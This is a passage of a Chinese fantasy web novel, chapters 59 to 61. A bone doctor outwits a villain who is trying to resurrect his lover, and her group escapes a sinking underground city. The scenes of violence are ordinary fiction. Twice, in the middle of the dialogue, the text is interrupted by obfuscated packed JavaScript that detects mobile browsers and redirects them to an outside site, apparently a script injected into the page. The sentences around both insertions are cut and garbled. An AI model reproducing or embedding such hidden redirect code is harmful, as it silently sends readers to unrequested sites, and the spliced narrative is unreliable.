“六溪、钢厂,我就是那个不愿意露面的客户。”计枵转过脸,冷笑着说,“你不是问我到底想做什么吗?我现在可以告诉你了。” “复活一个人无非是要重塑她的骨架内脏和血肉筋脉。那些傀儡的恶念已经被我剔除干净了,从他们的骨头里精挑细选出最适合她的一部分,就能得到一副完美的骨架。千年老树的琴声能让人生出新的血肉,琴和琴谱都有了,弹首曲子自然不是难事。” “通身上下,唯独心脏至关重要。其实也不是完全不能放凌岓走,只要把他的心贡献出来,剩下的躯壳随便你们处理。周盼的皮囊一早就准备好了,等她活过来,就能像正常人一样生活。” “至于你,姜泠——千百年来难得一见的无心之人,又是骨医,做她的筋脉魂魄刚刚好。” 计枵步步逼近,他从口袋里拿出一个布包。展开一看,里面赫然是四十九根销骨针。 “不会很痛苦的。”现在的面孔才贴合传说中那个十恶不赦的人。 “你做梦!”两相对峙,姜泠丝毫不惧。 59. 第五十九章 殿内的物品陈设坏了就坏了,可拔步床上的骨灰对计枵而言至关重要。即便是用傀儡,他也有所忌惮,这就使得围攻洪、卫二人的傀儡们战斗力远不如台阶上的那些。而姜泠也抓着这个弱点,在和对方的缠斗中渐渐占了上风。 “杀了我,暗室里的人就一个都别想出来。”四十九根销骨针飞出去了大半,可还是没能伤到对手分毫。发针之人计从心生,果然一句话就让对方迟疑了。 姜泠只顿了一瞬,反手又是一通狠击。计枵气急败坏,吹了一声骨哨,围攻的傀儡退下,取而代之的是那几个熟面孔。 “看清楚他们是谁再下手!”此言一出,原本攻势汹汹的人立刻刹住了手底下的动作。 卫斯诚看清楚了身边这几个眼神空洞的熟人,恨得咬牙切齿,“狗东西有种单挑!挟持人质算什么本事?” “能把他们挟持过来也是我的本事。”计枵冷哼一声,退到人质身后,“你们大可以继续动手,看看谁的顾忌多!” 弯刀入鞘,长鞭绕回细腕。闻到沈径霜身上独有的护手霜的味道,姜泠最终还是老老实实收起了武器。 “这就对了。”躲在人堆后面的人心情大好,“论打架,我可能确实打不过你。但我有筹码,有无数种让你们停手的办法。只要能眼睁睁看着这些认识的人变成我的傀儡尸,那你们也可以继续不听我的话。” “你威胁谁呢?”卫斯诚越听越气。 “看来你不信。”计枵一挑眉,优哉游哉地走到屏风里那个睁眼的男人面前,“他就是造谣者——为图一时之快逼死了一个年轻姑娘的人。本来我还打算留他一阵,既然你们不信,那就只好用他来当例子,给诸位露两手,看看什么叫怨骨活尸。” 男人虽然眼神空洞,可依然有感觉——计枵走到他身边时,他抖如筛糠,喉咙里发出嘶哑的呜呜声。 “没人不信,快住手!”姜泠听见低低的咽泣声,多少有点于心不忍。 “开弓没有回头箭。”计枵温柔地笑着,一针扎进了男人的眉心。 见三人想要上前阻拦,他又差使沈径霜和马成林拿了几条绳子把他们捆了。熟人动手,姜、卫、洪三个人也不敢多反抗,只好乖乖束手就擒。 只一针,呜咽声立止,然而计枵并未停手。他气定神闲地取针、扎针,似乎这是什么很享受的事。卫斯诚定定看着一个活生生的人一点一点失去意识,最后闭眼之前,男人艰难地发出一声吼叫。声音如困兽,有不甘,也有恐惧。 叫声过后,有一道黑烟从男人头顶飘出。计枵将手指上的血玉扳指转动了一圈,那缕黑烟便尽数被吸进了戒指中。 再睁眼时,男人的眼睛里闪过几丝不属于正常人的红纹。然后他跪在地上,和那些宫人一样听话。 “你是一个十恶不赦的罪人。”计枵饶有兴趣地看着自己的新傀儡。 “我是一个十恶不赦的罪人。”男人机械地重复这句话。 “你这种人,碰一下都会脏了别人的手。” “我这种人,碰一下都会脏了别人的手。” “既然如此,为什么不自己了断自己呢?” “既然如此,为什么不自己了断自己呢?” “差不多得了!”卫斯诚实在看不过眼,高声打断这场重复对话的表演,“人已经被你弄成这样了,还嫌不够吗?” “当然不够。把他这种人放进城里,一个晚上都活不过。倒不如就让他在这儿做个小丑,说不定还能博诸位一笑。” “你……” 指责的话没说完,计枵又开始发号施令了,“在古代,你这种人死后是要进拔舌地狱的。” “在古代,我这种人死后是要进拔舌地狱的。” “那你还等什么?” 计枵凑上前去,阴森森地盯着傀儡,对方眼中的红纹登时便又出现了。他干巴巴地回了一句“遵命”,然后在围观者的惊叫中扯出了自己的舌头,又生生拧断了自己的脖子。 血污浸湿了地毯,计枵一脸嫌恶地捂住鼻子,吩咐门外的周盼把人拖出去。 “说你是畜生都抬举你了!”卫斯诚挣扎了两下,绳子松了些。 “小朋友,我没功夫和你打嘴仗,这太幼稚了。”计枵拍了拍卫斯诚愤怒的脸,旋即一把捏住姜泠的下巴,冷声问她,“我再问你一遍,要不要跟我合作?” “你这么大本事,何必再来问我?”姜泠态度强硬,一点好脸色都没有。 “你要是不愿意,我就不能给她一副最完美的筋脉了。”捏人的力道更大了些,计枵恨恨地和眼前人对视,“你以为我为什么留你们到现在?要是无所谓个人意愿的话,你早就不复存在了!” “哦。”姜泠满是讥讽地回应他,“那多谢你。” 眼前人一听,怒极反笑。他猛然松开手,快步走出宫门。没过多久门又开了,先进来的人是凌岓。 “硬骨头,看看这是谁?” “抱歉,我看不见。” 简简单单一句话,计枵脸都要被气绿了。他把凌岓往前推了一把,不耐烦道,“你不是心心念念为他求解药吗?现在人就站在你面前,是让他成为我的傀儡不得善终,还是好歹能留下个全须全尾的身体,选择权在你。” 趁计枵威胁姜泠之际,洪钟悄悄伸长腿碰了碰凌岓的裤脚,后者一动不动,眼神却不经意往伸腿人的方向飘了飘。紧挨洪钟的卫斯诚也注意到了——凌岓胳膊上的纱布不见了,原来深可见骨的伤口已经全然愈合。 “除了你为之拼命的这位,还有这么多你认识的人。”计枵还在不停威胁,“这个沈医生,长得也漂亮。如果不是已经有了周盼的皮囊,我一定会把她的脸留下来。” “还有这个马成林,他不仅是你这位朋友的师叔,还有一个没人管的孤儿要养呢。你说他要真的出点意外,你的朋友能轻易释怀吗?那个孤儿又该怎么办?退一万步讲,你自己也是孤儿,难道你真的忍心?” “行了!”姜泠打断对方没完没了的念叨,直截了当地问,“说吧,要我怎么做?” “哦豁,这是答应了?”轮到计枵难以置信了。 “小姜你疯了!” “姐你胡说什么!” 被捆在一起的另外两位不答应,齐齐冲着姜泠喊。 “给我闭嘴!”计枵随手抄起两块抹布往二人嘴里塞进去,又一脸欣喜地问,“真答应了?” “答应了。”女孩摆出一副随遇而安的姿态往后一靠,“反正横竖都是死,还不如让大家都舒服点。” “好好好!”怕人反悔,计枵也顾不上继续端着防备,当即就将需要对方配合的事项一股脑全倒出来。 说答应就答应,姜泠不仅认真在听,还时不时若有所思地点点头,其配合程度,超乎所有人意料。 “听明白了吗?”说完,计枵不放心,还要反复确认一遍。 “明白了。不就是先拿骨灰再弹琴,然后我再把玉玦摔碎,任你宰割嘛。”姜泠点点头。 为了让对方更加信任自己,她还不忘提出要求,“但你答应过的事要说话算话。第一,在我闭眼之前不许动他们;第二,与此事无关的人该放就放;第三,既然都帮你救人了,那总要死得好看些吧。我孤家寡人一个,死成什么样是无所谓,可其他人还要回去的,让人家家里人看见多难受!” 听她猛地说了这么长一串话,一边被禁言的两人眼睛都瞪圆了。 “这些都好说,答应你就是了。” “光答应可不够,总要立个字据或者做点抵押吧。”姜泠继续提要求,“你都说了你是十恶不赦之人,那我怀疑你的人品和信誉也没什么问题。当然,我也可以做一样的事——我的武器都归你,一会儿要用我的血,你也可以先放出来,绝对出于自愿。” “行。”计枵深吸一口气,收起被扔到地上的长鞭和弯刀,又实打实放了半碗血,这才答应她的要求,“你说怎么办就怎么办,我绝无二话。字据你来说我来写,写完以后我按手印。至于抵押,你看看想让我抵押什么?” “先立字据吧,抵押什么还得容我想想。” 说话算话。计枵转身走进前殿书房,提笔写下两张记述三条要求的字据,又分别按了手印,十分干脆地交给姜泠。 “想好了吗?”他问,“抵押什么?” “我也看不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497340|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你有什么,不如这样,让他俩决定吧。” “好。”只要想到自己日思夜想的人马上就能重塑新生,再多要求计枵都能忍着一口气咽下。 抹布那滋味实在难闻,从嘴里拿出来以后,卫、洪两人被恶心得干呕了半天。计枵不想浪费时间,随手倒上两杯茶就逼着他们喝了下去。不成想弄巧成拙,这俩人干呕的声音更大了。 好容易等到他们平复下来,计枵觉得自己的忍耐已经快到了极限,他咬着牙问,“二位舒服点了吗?快些说,要抵押什么?” “骨灰!”卫斯诚脱口而出,然后在看见对方眼神里的凶光之后立即改口,“那也太得寸进尺了哈。” 洪钟松了口气,暗想:你还知道得寸进尺。 “那戒指吧。”卫斯诚又说,“这成色,这质地,一看就价值不菲。” 闻言,计枵下意识转了转手上的鸽血红,皱眉拒绝,“不行!这个对我有用,不能给你们。” “这也不行那也不行,你到底有没有诚意?” “除了我救人要用到的,其他都可以。”要不是怕姜泠反悔,堂堂哭木宫的主人绝不会留着这个在自己底线上蹦跶的人。 “那就销骨针留下。”卫斯诚看了看凌岓,又和洪钟耳语了一阵,最后拍板决定,“别告诉我这个也不行。” 对面的人沉吟片刻,把收纳四十九根白针的卷包拿出来,塞进卫斯诚的口袋里。 “行了,该办正事了。” 绳索松落,姜泠被自己的同行拽向床边,等待琴声响起。 床榻上已经褪色变形的衣裙被人铺平,连一点细微的褶皱都被轻轻抚平。计枵用手把盒子里的灰一点一点捧出来,均匀地洒在衣裙上,生怕漏掉半点。 “什么时候这种变态全都消失了,天下就太平了。”洪钟边看边做评论。 骨灰尽数放好以后,计枵把抢来的琴从墙上取下来,平放在床前的案几上准备弹奏。 琴音响起,姜泠以外的几人齐刷刷捂住耳朵——别人弹琴是“大弦嘈嘈如急雨,小弦切切如私语[1]”;这位仁兄弹琴却是粗弦处如锈锯拉朽木,细弦处似厉鬼吊嗓,实在叫人不敢细听。 “弹棉花的都比这好听!回头儿人真活过来了,再一听见这东西,当场又死过去了。”说书人如是说。 姜泠默不作声,只站在一旁听师父留下的一把好琴被折磨出不成曲调的音律。 也不知计枵是怎么能沉浸其中的,只见他越弹越投入,最后索性一脸陶醉地闭住眼睛,完全不顾听琴人的死活。姜泠几度欲言又止,只是时机未到,她只好先忍耐着。 奏琴人的十根手头越发忙活,表情也越来越痴醉,虽然没有琴谱对照,却仍能大概从琴声的大小高低来辨别一首曲子的高潮处。计枵正自我沉醉在琴声中,也没能留意到眼前人蹑手蹑脚的动作。 早在被绑缚起来的时候,姜泠就想到了一些事——在她幼年不想好好学习的时候,师父总爱讲些离奇故事来缓解她的抗拒,这其中就有一种关于重塑亡魂的故事。 具体细节她已经记不大清了,但是搞破坏的方法记忆犹新。按照师父的说法,以琴塑魂的关键在于琴声要流畅完整,不可间断。一首塑魂曲的高潮往往是最关键的,如果这个时候被人以外力打断,那么整个还生的计划都将功亏一篑。 姜泠起初是想要把那一床骨灰全扬了,她平时最讨厌被人威胁,偏偏计枵却一而再再而三用熟人的安危威胁他。但同伴身上的傀儡术没解,她还不能这么做。于是便改变策略,把骨灰用那件衣裙迅速包好,揣在自己怀里。然后再把卫斯诚和洪钟身上的绳子解开,绑到了几个熟人身上。 塑魂曲的琴谱早已经烂熟于心,快到收尾处,计枵却弹出了两个空音——有人压住了琴弦。他满腔愠怒睁开眼,眼前是姜泠那张好看得不合时宜的面孔。 “你?” “别弹琴了,谈谈条件吧。”姜泠指了指空空如也的床榻,“给我的朋友们解毒,我把骨灰还你。” 见此场景,刚刚还在幻想重生后美满生活的奏琴人只觉得一阵头晕目眩。他眼睛中快要喷出火了,拳头攥得发白——杀心四起。 60. 第六十章 软烟罗的帐子轻轻荡起,后殿中的气氛诡异至极。 “谈条件?”销骨针虽然不在手里,可银柄弯刀最初也是属于计枵的武器,再用起来也一样顺手,“是我礼貌过头,这才让你产生了我好说话的错觉?” “我从来不觉得你好说话。”姜泠实话实说,“骨灰在我这里,至于要不要谈条件,选择权在你。” 自己说出的话又被送还给自己,回旋镖是挺让人难受的。如果是别人,计枵尚且还能赌一赌对方的善心,可偏偏开口威胁他的人和又臭又硬的殷漠一样——睚眦必报还不留情面,这就让他不敢拒绝谈判。 “可以,按你说的做。”来回想了半天,计枵决定先答应下来,“除了他,其他人都可以走。” “他”指的是凌岓,卫斯诚一听就急了,“那和你刚刚说的有什么区别?” “刚刚是留下两条命,现在只留下一条,我已经足够开恩了。” “放他走。”姜泠掂了掂衣服兜住的骨灰,对计枵说,“托你的福,上一次解销骨针上的毒,我吃的药就是由纯善之人作为药引做成的。你要还是不甘心,留我一个就够了。” “你?”人是会被气笑的,譬如现在的计枵。 “行了别废话了,只要你一句话,这些东西就能回到你手上。我都不认识这人是谁,她的骨灰对我而言就更没用了。” 一个人烧成灰的分量不算太重,姜泠拿在手里也不是负担。她坐在计枵弹琴的凳子上,无比悠闲地翘着腿,“出于对死者的尊重,我很乐意和你做交换。但是如果你不答应,那扬了它也无所谓。” “不愧是殷漠的徒弟,和他一样无耻。” “您还是太谦虚了。”姜泠反唇相讥,“跟您比起来,我这算是小巫见大巫。不过还是温馨提醒一句,再这么一直磨蹭下去,这些骨灰会不会缺斤少两我可就不能保证了。” “别——”计枵咬牙道,“都听你的。都走,全都放你们走行了吧!” 闻言,洪钟拉着卫斯诚自觉退让到一边。 “针给我,没有针什么都做不了。” 卫斯诚老老实实把卷包递上去。 在计枵手上,销骨针既能害人,也一样能救人。最早他还没有恶念大发被除名时,销骨针也不叫销骨针,叫定骨针,以寻骨救人为主用。 几针下去,沈径霜的眼神渐渐恢复清明,对旁人的声音也有了正常反应。不得不承认,如果计枵能把害人的本事用在正途上,那他应该也很有建树。 “我早就给他吃过解药了。至于销骨针,我没在他身上用。过一段时间他自己会好的。”计枵越过凌岓,径直走向马成林。 话虽这么说,可凌岓看起来还是不像痊愈的样子。洪钟凑上前去不停在他眼前晃手,对方面无表情。 卫斯诚正忙着看沈径霜的反应,没注意计枵嘴角扯过的一丝狞笑。鸽血红扳指刚要转动,有人把戴着戒指的手一把反拧到背后。 “耍心眼可不是有诚意的表现。”说话的声音有点熟悉,又有点陌生,以至于其他人还处于懵然状态。 “但话又说回来,谢谢你帮忙解毒。” “谢我?”双手被反剪起来的计枵苦笑道,“倒不如说我是自掘坟墓,自讨苦吃。” “诶嘿,真没事儿了!”洪钟第一个冲上来对准人脸捏了半天,“真是你呀!还真是你呀!” “不是我还能是谁?”凌岓一手压制着计枵,一边把洪钟的手往下拿,“好好好,先放过我。等他把你师叔恢复正常了,你挂我身上都行。” 扳指被强行撸下来了,这下计枵不得不老老实实给马成林扎针。后者恢复正常后,看见洪钟,脱口而出的第一句话是:“没让他得逞吧?” “没。”洪钟明白师叔说的是谁,“要是让他得逞了,您老哪儿还能醒过来呀!” “料他也没办法得手!”马成林一拍胸脯,完全没注意身后就是当时将自己害到如此地步的人,“他问我琴谱的时候,我特意说反了两段音节。这种祸害,要救的也是…”—— 姜泠上前一步捂住马成林的嘴,她怕这三言两语火上浇油,让计枵更加生气。 “送我们出去。”她说,“把我们送到出口,骨灰还你。我还能让你和你要救的人见一面。” 计枵面无表情,淡淡回答她,“送出城不太可能,我充其量把你们送出哭木宫。” “为嘛…请问,为嘛不能送到出口啊?”洪钟小心问。 “因为出口随时在变,我也不知道哪一个是出口。”计枵这次没卖关子,问什么答什么。 “你骗谁呢?这儿不是你建的吗?你不知道出口谁知道出口!”卫斯诚打死也不信计枵说的话。 “你高看我了。这儿原来是一座很繁华的城市,二百年前遭了灾,也就一两分钟的时间,整座城都被埋到地下了。我之所以取人怨气炼活尸,也是为了把这里重建起来为我所用。” “也就是说,哭木宫不是你建的?” “不是,哭木宫是一个昏君建的行宫,只是刚好被我拿来使用。里面的东西是这些年我四处收集的,就为了等她醒来以后,给她一个最好的环境。” “周盼,还有城里那些人,还有救吗?”比起这座城市的历史变迁,姜泠更关心这些无端被卷进来的人。 “没救。”回答干脆利落。 “为什么?” “你知道养蛊吗?”计枵自问自答,“把毒物放在一处养,时间到了以后只会剩下一个,剩下的那个就是最毒的。这座城里的人和毒虫一样,他们会自相残杀,直到剩下最后一个。剩下的,就是最强的。” “就算是养蛊,也可以到中途放出来。”姜泠仍不死心。 “人不是虫子。”计枵摇了摇头,“有人进来的时候心心念念想出去,可现在却已经以杀戮为乐,不愿意出去了。有的人倒是也想跟你们出去,可在这种自相残杀、弱肉强食的地方,他们根本不相信其他人说的话。就算你想,你带得走他们吗?他们又凭什么要信你?” “那周盼…” “她就更不行了。当初,我帮她收拾那两个老东西的时候,提出的条件是交换她的皮囊。傀儡的皮囊能随意更换,人可不行,一旦失去了身上本来有的,就再也拿不回来了。更何况,她在人世中过得并不好,你还把她带回去干什么?继续受苦吗?” 这场对话最终以送出哭木宫为结尾,再没有人提出异议。 行至宫门前,姜泠把裹着骨灰的旧衣服递还给计枵,“如果你想,我应该能让你们见一面。” “你可以不这么做的。”对方没有要领情的意思。 “如果不是迫不得已,我也不会挟已逝之人相要挟。” “那也好,反正没法复活,见一面也不错。”计枵突然豁达得令人害怕。 姜泠从口袋里掏出一块用密封袋套着的黑乎乎的东西,“把这件衣服扯掉一角,用这一角引火、点香,你就能如愿以偿。” “谢谢,不送。”计枵接过密封袋,头也不回地走了。 “你给他的是什么?”直到现在,凌岓才有机会单独和姜泠说两句话。 “兰家剩下的生犀香。” 片刻沉默后,换姜泠先开口:“伤真的好了?” “好了。换给挚爱之人的心不能有残余毒素,所以他解药给得慷慨,也舍不得用傀儡术。” “你什么时候清醒的?” “你们来之前。”凌岓看着与自己并肩走在一起的姑娘,心里有种说不上来的感觉,“他还挺贴心,让我看了你们一路打上来的全过程。从那时候开始,我就在找机会逃跑,结果被当成人质,反而和你们碰到一起了。” “没事就好。”姜泠点点头,也不知在想什么。 “嗯,还有就是,谢谢你。”侥幸逃过一劫的人从没觉得道谢如此困难过。 “谢我什么?” “谢你…救我。”被对方这么一问,又看见身边人衣服上大大小小的口子,凌岓反而不知道该怎么接话了。 “应该的。”只需三个字,就能成功让气氛陷入僵局。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14503416|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快走回望月楼时,凌岓总算又幽幽憋出一句,“一会儿到了休息的地方,我帮你包扎一下伤口吧。” “不用。”姜泠觉得别扭,但偏偏说不上来哪里别扭。她摸了摸自己的伤口,大大咧咧地拒绝,“都是小伤,用不着包扎。过两天自己就好了。” 满月夜已经过去了,街道上仍然黑蒙蒙的,但望月楼的灯却是长明不灭。一行四人变成了一行六人,再回到这里休息都没那么可怕了。 哭木宫里香雾袅袅,宫中人的视线从模糊到清晰。看见朝思暮想的姑娘真真切切站在眼前注视着自己时,两百年未曾流泪的计枵鼻头一酸,泪如泉涌。 “我跟你们说,就在四楼,那个鬼一半人身一半骨架,见了人还要问‘我好看吗’?吓得我当场给它一个大嘴巴子…” “可不是嘛!那半人身的厉鬼说来就来,直把一扇木门挠得吱呀作响…”只差一块醒木,洪钟就能摆摊说书了。 沈径霜听得津津有味,还在合时宜的空档处插进两句话,“我还以为取琴的人要来了,刚要给姜姜打电话,就被人闷头一棍…” …… 自相残杀的城中人、毒虫、养蛊、难以寻找的出口…这些事情都被暂且搁置到了一边。哭木宫里的两个人在互诉衷肠;望月楼中的一行人也在一边分食压缩饼干,一边你一言我一语地分享着这几天来各自的经历。 连日来的疲惫在安稳坐下的时候被尽数除去,气氛也回归到了短暂的宁静中。难得的片刻宁静之外,山雨欲来,却并不影响重逢相聚的人们苦中作乐。 宫殿之内,过往的桩桩件件都重现在眼前,计枵默不作声地看着。 男孩在一个最普通的夜晚来到人世,方圆百里的树木在一夜之间悉数被虫害啃噬干净。百木哭号,视为不祥,父母为他取名为“枵”,本意为中心空虚的树根。在遇到明媚如春光的姑娘以前,他都是独来独往,处处被人嫌恶的一个人。 天外石群飞来那日,计枵恰巧不在。等他回来时,古城原地消失,只剩碎石的一点尖角遗露在外。心上人深埋地下,尸骨无存,自此以后,没人再能劝阻得了处于正邪交界处之人的恶念。 尚未被除名的骨医费了九牛二虎之力寻找到古城遗迹——城里没有一个幸存者,所爱之人的家里只剩一堆散落在山石黄土中的遗骸。爱人离世后,计枵把原本的行宫重做修葺,改名为哭木宫——他就像被蛀空中心无处哭诉的老树。他把遗骸洗净,用一盏从东海深处寻来的人油蜡烛烧成灰,然后踏上了无尽头的塑魂重生之路。 仅剩的生犀香燃尽,余烟之中,有一个面容青涩的女孩杏眼含泪同计枵道别。生死两隔,活人追不上死者的步伐;塑魂重生的幻梦破灭,后者只能木木点头,在万念俱灰之中被迫接受再一次分离。 分离之人把燃尽的香灰和骨灰一并放进盒子里,敞开了所有宫门,抱着盒子走向宫殿后面。 哭木宫背靠一座矮山,山顶处有一块一人高的镇山石。这块石头从天外飞来,摧毁了整座城市,却又独独能让陷落地下的古城在数百年间保持原貌不变。每逢月圆的前一天,镇山石就会发出光亮,让地下古城难得暴露在“天光”之下。姜泠等人进城那天看到的“白昼”,就是源于镇山石。 整个石头是钉子的形状——顶部伞盖形的平面上长满了深深浅浅的小坑,中腰细长,最底下是十分尖锐的锥形,牢牢扎进山岩中。计枵把盒子放在顶部石面上,手里拿着不久前才回归本人的银柄弯刀。 所谓镇山石,顾名思义,就是能镇住整座山的石头。矮山虽小,底下汇集的能量却大。要想摧毁这座深埋地下百年的古城,只需要摧毁这座屹立宫殿后的矮山;而要想毁掉矮山,那么只需要让镇山石先崩塌即可。 “轰”一声巨响,整个古城都能听到。头顶上方没有电闪雷鸣,脚下的大地也没有要摇晃或是开裂的迹象。望月楼里的灯闪了又闪,楼外则不断有人在大呼小叫。陷落许久的城市即将迎来它的第二次浩劫,滞留城中的人们慌不择路,都希望能赶在彻底被掩埋之前,找到出口。 61. 第六十一章 镇山石被人拦腰截断,矮山从一开始的轻微颤抖变成了土石崩裂。计枵抱着一盒子混着香味的骨灰坐在地上狂笑,言语中有时是对苍天无眼的咒骂;有时是对盒中人的思念。 自来到这里,几个人第一次见到门口的大街上竟有如此“热闹”。 望月楼的大门刚拉开,一把大砍刀便直冲面门劈来。凌岓眼疾手快拉过开门的马成林,姜泠接着便将砍刀大汉一个过肩摔撂倒在地。 洪钟想上前去问清楚外面发生了什么,一看这人疯疯癫癫的样子,知道问也没用。怕他再出去胡劈乱砍,几个人干脆用碎布条把他绑了起来。 “我要出去!放我出去!”大汉目眦欲裂,倒在地上疯狂打滚,又因为吼叫的声音太大,嗓子也变得沙哑。 街道上的反常和那声巨响联系在一起,任谁都会产生一种不详的预感。 “我出去打听打听,你们在这儿等我。” “带我一个!”卫斯诚不放心凌岓一个人出去,便自告奋勇和他一起打探情况。 “我跟你去吧。”姜泠把稳重不了多久的师弟拉回来,温声对他说,“你就乖乖在这儿待着,哪儿也不许去。” 自从凌岓好了以后,卫斯诚只觉得两个肩膀上的重担卸下来了大半,当然也能继续和师姐撒娇:“哎呀姐,你就留这儿保护他们。我向你保证,有我在,绝不会再让凌岓同志受伤。” “得了吧。”洪钟很能理解姜泠的想法,“恐怕小姜担心的是你受伤。” “stop!”凌岓哄孩子一样把卫斯诚推回去,“我就是去看看什么情况,又不是上刀山下火海。你们一个个别太夸张。” “那你注意安全。”姜泠不多拉扯,开口叮嘱道,“快去快回。” “放心。” 门开了又关,打探消息的人隐没在街上的人流中。 沈径霜靠着姜泠浅睡,洪钟和马成林不知在闲聊什么,卫斯诚时不时把窗户打开一条缝等候消息。挡着门的桌椅突然掉落下来,众人纷纷站起来做好警戒。 “谁?”卫斯诚站在门后,手里的黑金匕首随时准备发起攻击,“是凌哥吗?” 门外没人答话,可晃门的动静却仍旧不停。 姜泠轻轻把门前的障碍物挪开,贴近另一扇门后。她冲卫斯诚点了点头,后者慢慢将门打开。 晃门者没有害人之意,他一进门就慌慌张张地比划着什么。楼里的人看不懂手语,反倒先被此人的长相吓了一跳——他两只眼睛一大一小,鼻子上的肤色和面部肤色不同,上嘴唇与下嘴唇也极其不协调地搭在一起,堪比美容院门口整形失败的案例。 “你…你说啥呢?”卫斯诚一头雾水地看着对方忙活了半天的手,怎么都不理解他想表达什么。 门又开了,这次是凌岓。他跑出了一头细汗,光急着开口描述处境,完全没注意到多了一个人。 “定城山要塌了,我们必须想办法尽快离开这儿!要不然我们会和这里的原住民作伴,一起埋到地底下。” “定城山?”马成林不解。 “哎呀!就是能让这座城市不继续下陷的山!”凌岓不想在这个时候抠字眼,“山一塌,整座城市就会像之前那次一样往下陷。” “找出口,找出口!”洪钟四下看了看,又问,“计枵说出口随时在变呐!我们上哪儿去找出口啊?” “嗯嗯嗯——”被众人忽视的哑巴拽住凌岓的袖子开始比划,这才让几个人的目光重新聚焦到他身上。 “这谁?”凌岓起先也是一脸懵然。 “不知道。”沈径霜回答他,“但是他好像有话要说,可惜我们没人看得懂手语,不知道他想说什么。” “我带本子了。”凌岓把口袋里随身装的纸笔递过去,大声问哑巴,“你会写字吗?” 哑巴一愣,然后重重点头。 哑巴写字写得很快,字迹也很清秀。行楷小字端端正正写在本子上,以这种方式将他知道的所有信息都告诉给了其他人—— “出口位置跟随月亮的阴晴圆缺变化。城门是起点,每个月十五,出口在哭木宫后面的山上;到了每月初一,出口会重新回到城门。前天晚上满月,你们只要知道前天晚上是十五还是初一,就能按照规律找到出口了。” “原来如此。”凌岓把本子收好,握住哑巴的手道谢,“谢谢!你跟我们一起走吧。” 哑巴起先摇了摇头,最后在其他人的劝说下,犹豫着答应了。 按照哑巴提供的线索,出口应该靠近凌岓所说的“定城山”。几个人一商量,决定从快从速,不到万不得已绝不轻易和街上的其他人纠缠冲突。 和灾难片里演的差不多。来时不见人影的古城现在全是四散奔逃的人,就连蛇虫鼠蚁也听着动静满街乱窜。 七人一支队伍,刚跑到一个路口,就看见一个身着黄袍子的人抱着同伴脖子狠狠啃噬、满嘴是血的骇人景象。再往前走,又遇见一个大喊大叫着把自己的衣服撕成碎片向上空中抛洒的人。 “老天爷呀,这都是疯了吧。”这些人的样子叫人不忍直视,洪钟下意识用手遮住了眼睛,结果差点被绊了一跤。回头一看,是一具横陈在街道上、已经僵硬多时的遗体。 马成林时时刻刻挡在洪钟前面,生怕突然遭到袭击。可走着走着,怀疑从心底油然而生,他把洪钟拉到队伍最后,小声说,“万一这个哑巴是骗子怎么办?” “啊?”洪钟一时没转过弯来,直愣愣地看着自己师叔问,“你说嘛?” “我说,万一这个哑巴是骗我们的,说的出口是假的怎么办?那我们岂不是白白跟着他送了命嘛!” “哎哟!我的好师叔啊,都嘛时候了!你怎么总是关心这种无关紧要的事情呢?”洪钟拖着马成林跟紧队伍,半是无奈半是宽慰地回答他,“正所谓‘用人不疑,疑人不用’,又所谓‘死马当成活马医’。你说咱现在除了相信他还有别的办法吗?真要是骗子,那咱也得认命!我洪钟对不住您的,下辈子慢慢还。” “进去了!进去了!”一个扎着高丸子头的人挤开人群,跑到了最前面。 “什么进去了?”另一人跟在后面喊。 “城门!城门陷进去了!陷到地底下去了!”高丸子头来不及刹住脚步,只恨自己不是蜈蚣——有那么多条腿能用来跑路。 丸子头喊得大声,小半条街上的人都听见了他说的话。人群中的叫嚷少了一点,连蹲在路边不打算出逃的人脸上都闪过一丝惊慌。 变故发生得极快,几乎是一瞬间的功夫,之前望月楼街上的银甲马队就驾着弓箭冲过来了。姜泠听觉灵敏,而凌岓有了上次的教训则是时刻保持警惕,以至于箭雨又一次落下来时,这两人很快就把同伴转移到了安全地带。 “这些是什么人?”沈径霜没见过马队,也不知道先前的骨塔和凌岓中箭一事。 “不知道。”凌岓回答她,“十有八九是计枵的人。” 街上这些能跑能动的人终究是血肉之躯,面对疯狂落下的箭雨毫无抵挡之力。闪避及时的人尚且还有一线希望逃出生天,行动稍微慢了一拍的,当场就被羽箭钉穿在原地。 作为一个尽职尽责的医生,看见这种死伤无数的场景,出于本能就想要冲上去救人。 察觉到身边人的异动,卫斯诚伸手将她牢牢按住,“留得青山在,不怕没柴烧。你现在过去就是找死,你要是死了还救个der啊!” “现在不救,那要等到什么时候?等他们全死了吗?” 倒不是沈径霜圣母,只是羽箭的威力非同小可,再加上银甲卫士这次的准头又高得吓人,凡是中了箭的,无一不是倒在地上抽搐了两下就一命归西了。 “姜姜,我不想拖大家后腿。但现在反正也是躲着,去救人也无可厚非。”沈径霜换了一个攻略对象,“不用大家帮忙,出了任何问题我自己负责。” 姜泠没有立即回答,竖起耳朵听箭风的声音。 “姑娘,我觉得吧,识时务者为俊杰。”这时,马成林开口了,“你说不用大家帮忙,可如果你中箭了,我们真的能坐视不理吗?大家虽然不算太熟,可总归是一起逃出来的,依我看,你还是现实一点的好。” “包里有药有纱布,我去救人,你呆着别动。”骨医态度坚决,不容置喙。 “那怎么行!”卫斯诚第一个不同意,“我拜托你们不要总在关键时刻同情心泛滥好不好!我支持老马!” “ 